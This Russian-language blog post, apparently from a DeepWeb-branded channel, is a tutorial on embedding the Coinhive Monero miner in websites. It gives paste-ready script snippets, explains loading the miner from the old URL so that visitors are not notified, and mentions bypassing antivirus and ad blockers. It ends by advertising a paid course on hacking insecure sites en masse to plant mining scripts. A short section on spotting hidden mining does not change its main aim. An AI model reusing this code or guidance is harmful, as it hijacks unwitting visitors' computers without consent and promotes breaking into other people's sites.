Встраиваем скрытый майнер на сайт.

Встраиваем скрытый майнер на сайт.

DeepWeb

Coinhive — javascript для майнинга Monero, который вы можете встроить на свой сайт. Скрипт будет запускаться в браузере ваших посетителей. Таким образом можно отказаться, например, от показа рекламы на сайте.

16 сентября всемирно известный торрент-трекер The Pirate Bay внедрил на свой сайт javascript, который использовал процессоры посетителей сайта для майнинга Monero. Представители The Pirate Bay позже заявили, что они находятся в поиске альтернатив заработку на показе рекламы и тестировали скрипт в течение суток.

6 сентября украинские сайты Football.ua, Korrespondent.net, iSport.ua и Tochka.net, принадлежащие компании «Украинский Медиа Холдинг», скрыто майнили криптовалюту Monero через компьютеры своих пользователей. Скрипт для манинга был вскоре убран с сайтов после публикаций в соцсетях.

Если у вас есть сайт, то скорей всего вас посещали мысли как внедрить майнинг, чтобы посетители приносили вам доход. Но я не рекомендую этого делать, если вы дорожите своей репутацией.

Курс Monero на данный момент: 16 824,34 RUB (4,06%)

Регистрация и настройка Coinhive

Идете на сайт Coinhive и переходите в раздел регистрации (Signup). Заполняете email и пароль, затем ставите галочку в капче. После этого необходимо подождать какое-то время. Пока идет «проверка» капчи, вы можете заметить загрузку вашего процессора — это сайт начал майнить Monero, с помощью вашего процессора. Вот такая плата за регистрацию.

Такую же капчу можно встроить на свой сайт. При каждой проверке капчи будет майниться Monero на ваш внутренний счет в Coinhive.

После входа в личный кабинет необходимо войти в раздел Настройки — Сайты и API ключи (Settings » Sites & API Keys). Тут нам будет необходим «Site Key (public)», его необходимо будет вставить в скрипт.

Настройки Coinhive для майнинга Monero на сайте

Javascript майнер

Coinhive JavaScript майнер позволяет встроить майнер Monero прямо в ваш сайт. Майнер не имеет пользовательского интерфейса, поэтому в ваших интересах предупреждать пользователей сайта о его наличии, чтобы не потерять свою аудиторию.

Если вам необходим простой вариант встраивания майнера, то данную статью можно дальше не читать, а воспользоваться кодом ниже, не забыв поменять siteKey на свой. При этом никакие настройки Coinhive мы не делаем и используем все по умолчанию:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.User('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO', 'pogrommist');
    miner.start();
</script>


Краткие примеры настройки Coinhive

Загрузка майнера Coinhive и начало майнинга с использованием настроек – 70% нагрузка на процессор, не запускать на мобильных устройствах:

<script src="https://authedmine.com/lib/authedmine.min.js"></script>
<script>
  var miner = new CoinHive.Anonymous('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO',{throttle: 0.3});

  if (!miner.isMobile() && !miner.didOptOut(14400)) {
    miner.start();
  }
</script>


Хочу заметить, что майнер загружается с другого домена (authedmine.com) и отключает начало майнинга miner.start();  до разрешения пользователя использовать его вычислительные ресурсы.

Настройки Coinhive opt-in


Вы можете загружать майнер по старому адресу https://coinhive.com/lib/coinhive.min.js если не хотите уведомлять пользователей об использовании майнера на сайте.

Также вы можете прослушивать события, обновлять статистику на вашем сайте и т.д.:

<script>
  // Слушаем события
  miner.on('found', function() { /* Хеш найден */ })
  miner.on('accepted', function() { /* Хеш подтвержден пулом */ })

  // Обновление статистики раз в секунду
  setInterval(function() {
    var hashesPerSecond = miner.getHashesPerSecond();
    var totalHashes = miner.getTotalHashes();
    var acceptedHashes = miner.getAcceptedHashes();

    // Вывод в HTML элементы...
  }, 1000);
</script>


____________________________________________________________________________

Справка по Coinhive API

Конструкторы

CoinHive.Anonymous(siteKey [, options])

Создается майнер, который не привязан к токену или имени пользователя. В основном используется в качестве сбора пожертвования на вашем сайте.

CoinHive.User(siteKey, userName [, options])

Создается майнер и начисляет все намайненные хеши определенному пользователю. В личном кабинете можно просматривать статистику по каждому пользователю. Можно использовать на игровом сайте в качестве внутриигровой валюты.

CoinHive.Token(siteKey, targetHashes [, options])

Создается майнер и прекращает майнинг после нахождения определенного количества хешей (targetHashes). По умолчанию пул использует сложность 256, поэтому значение должно быть кратно 256. Минимум: 256, не советую ставить больше 1024, т.к. чем больше значение, тем дольше процесс вычисления.

Опции [options]

threads - Число потоков, которое должен использовать майнер. Это означает сколько ядер процессора задействовать для майнинга.
throttle - Время, в течении которого потоки должны простаивать. По умолчанию 0.
forceASMJS - Если true, то будет использоваться  asm.js реализация. Если false, то будет использоваться более быстрая WebAssembly версия. По умолчанию “false”.
theme - Цвет темы для всплывающего окошка с вопросом о разрешении майнинга пользователям – работает только с https://authedmine.com/lib/authedmine.min.js. Можно выбрать “light” или “dark”. По умолчанию “light”.
language - Язык, на котором будет задаваться вопрос о разрешении майнинга пользователям – работает только с https://authedmine.com/lib/authedmine.min.js. Поддерживаемые языки: ab, af, ar, be, bg, bs, ca, cs, da, de, el, en, eo, es, et, eu, fa, fi, fr, he, hi, hr, hu, id, it, ja, ka, ko, lt, lv, mr, ms, nb, nl, nn, no, os, pl, pt, pt-BR, ro, ru, si, sl, sq, sr, sv, ta, th, tr, uk, vi, yo, zh.

Пример использования настройки Coinhive майнера:

var miner = new CoinHive.User('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO', 'pogrommist', {
  threads: 4,
  throttle: 0.8,
  forceASMJS: false,
  theme: 'dark',
  language: 'auto'
});


Методы

.start([mode])

Соединяет с пулом и начинает майнинг. Есть несколько режимов работы:

CoinHive.IF_EXCLUSIVE_TAB - Майнер начнет работу если в других вкладках нет работающих майнеров.

CoinHive.FORCE_EXCLUSIVE_TAB - Майнер начнет работу в любом случае и остановит все майнеры в других вкладках, кроме майнеров CoinHive.FORCE_MULTI_TAB

CoinHive.FORCE_MULTI_TAB - Майнер будет работать всегда. Майнеры в других вкладках не останавливаются и данный майнер не смогут отключить другие майнеры.

Пример:

miner.start(CoinHive.IF_EXCLUSIVE_TAB);

.stop()

Останавливает майнер и отключает от пула

.isRunning()

Возвращает значение true|false. Определяет запущен майнер или нет.

.isMobile()

Возвращает значение true|false. Проверяет с какого устройства зашел пользователь на сайт. Можно использовать только для запуска майнера на ПК.

Пример:

// Запускает майнер только на ПК
if (!miner.isMobile()) {
  miner.start();
}


.didOptOut(seconds)

Возвращает значение true|false. Если пользователь отказался запускать майнер, то в течение следующих N секунд ему не будет предлагаться запустить майнер. По умолчанию 14400 секнд (4 часа). Используется для повторного отображения всплывающего окна с вопросом о запуске майнера.

Пример:

// Майнер запустится только если разрешит пользователь,
// повторное отображение всплывающего окна через 4 часа:
if (!miner.didOptOut(60 * 60 * 4)) {
  miner.start();
}


.on(event, callback)

Вызов функции при определенном событии.

Пример:

miner.on('authed', function(params) {
  console.log('Token name is: ', miner.getToken());
});

miner.on('error', function(params) {
  if (params.error !== 'connection_error') {
    console.log('The pool reported an error', params.error);
  }
});

miner.on('optin', function(params) {
  if (params.status === 'accepted') {
    console.log('User accepted opt-in');
  }
  else {
    console.log('User canceled opt-in');
  }
});


.hasWASMSupport()

Возвращает значение true|false. Проверяет поддержку WebAssembly браузером пользователя. Если не поддерживается, то будет использоваться более медленный способ asm.js.

.getNumThreads()

Возвращает количество потоков. Можно использовать для оптимальной настройки майнера до его запуска.

.setNumThreads(numThreads)

Устанавливает количество потоков. По умолчанию 1. Не рекомендуется использовать большие значения.

.getThrottle()

Возвращает значение throttle.

.setThrottle(throttle)

Устанавливает время простоя потоков. Значение 0.5 означает, что потоки будут простаивать 50% времени, 0.8 — 80%.

.getToken()

Возвращает имя токена, если майнер сделан с использованием CoinHive.Token

.getHashesPerSecond()

Возвращает количество хешей в секунду. Обновление происходит 1 раз в секунду.

.getTotalHashes([interpolate])

Возвращает количество вычисленных хешей.

.getAcceptedHashes()

Возвращает количество принятых хешей.

____________________________________________________________________________

Если у вас несколько сайтов и вам необходимо вести раздельную статистику, то можете добавить еще один.

В личном кабинете потом можно смотреть статистику по майнингу. Выглядит примерно вот так:

Coinhive


Установка javascript майнера Coinhive

UPD: Coinhive ввел новые параметры и способы обхода антивирусов и блокировщиков рекламы.

Теперь нам необходимо установить javascript на наш сайт. Для этого необходимо внести несколько строк в код вашего сайта.

Подключаем скрипт майнера:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

Теперь необходимо добавить следующий код:

<script>
    var miner = new CoinHive.User('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO', 'pogrommist');
    miner.start();
</script>


Данный скрипт будет запускать майнинг в браузере, используя мощность процессора пользователя. Тут необходимо заменить Site key (public) на свой. Но можете оставить для теста мой, тем самым отблагодарив меня чуток 🙂

Можно немного модернизировать код и установить, например, количество потоков, чтобы не нагружать процессор пользователей на 100%.

<script>
    var miner = new CoinHive.User('KOEPJ7apFGDo85uf5vrjD3XvK90AdOdO', 'pogrommist', {
        threads: 2,
        autoThreads: false,
        throttle: 0.8
    });
    miner.start();
</script>


Здесь мы указали, чтобы скрипт использовал 2 потока/ядра процессора пользователя и отключили автоматический выбор оптимального количества потоков/ядер для майнинга.

Coinhive dashboard Monero hash/s


Насколько выгодно использовать Coinhive?

Насколько выгодно использовать Coinhive надо смотреть в каждом отдельном случае.

Я ставил код для тестов на сутки. Использовались 2 сайта с посещаемостью 1500-1800 уникальных посетителей и среднем временем пребывания на сайте 3,5-5 минут. За 24 часа получилось намайнить 0,00325 XMR = ~0.30$(21.970.432 хешей). Если посчитать, то выходит чтобы заработать минималку для вывода 0,5XMR  необходимо минимум 5,5 месяцев…

UPD: сейчас CoinHive разрешил выводить от 0,05XMR. При этом будет удержана комиссия 0,01XMR.


Считаю, что репутация сайта намного дороже. Ну и скорей всего можно попасть под санкции поисковиков 😉

Как защититься от скрытого майнинга на сайтах

Очень просто. Если при посещении сайта вы заметите, что ваш компьютер начал шуметь и греться, значит скорей всего на данном сайте есть скрытый майнинг. Посмотрите на статистику загруженности процессора, при майнинге процессор будет сильно загружен.

CPU mining Monero

В настройках браузера можно отключить javascript, но это может сказаться на работоспособности сайтов, использующих javascript в мирных целях. Поэтому целесообразно отключать javascript для определенных сайтов.

Еще можно использовать блокировщики рекламы. Adblock PRO прекрасно блокирует майнер Coinhive без каких-либо дополнительных настроек.

А теперь поговорим как же майнить криптовалюту на чужом сайте :)

Уже сейчас мы полным ходом пилим курс по взлому сайтов и внедрение в них майнинг-скрипта. В курсе будут обговорены все детали взлома и майнинга.

Конечно же любой сайт вы не сможете взломать, но брать мы будем не качеством, а количеством. В интернете тонна незащищённых сайтов, которые и будут представлять для нас интерес.

Что будет в курсе:

  • Софт
  • Мануал
  • Поддержка при работе
  • Напоминания об анонимности
  • Весь нужный материал для этого

Приблизительно с курсом мы закончим через месяц. Продаваться он будет в количестве - 10 штук. Дабы не улетел в паблик. Но об этом не севедня :)


Будьте аккуратнее на просторах интернета, ведь всё что там находится, пытается тебя живьём съесть!





Report Page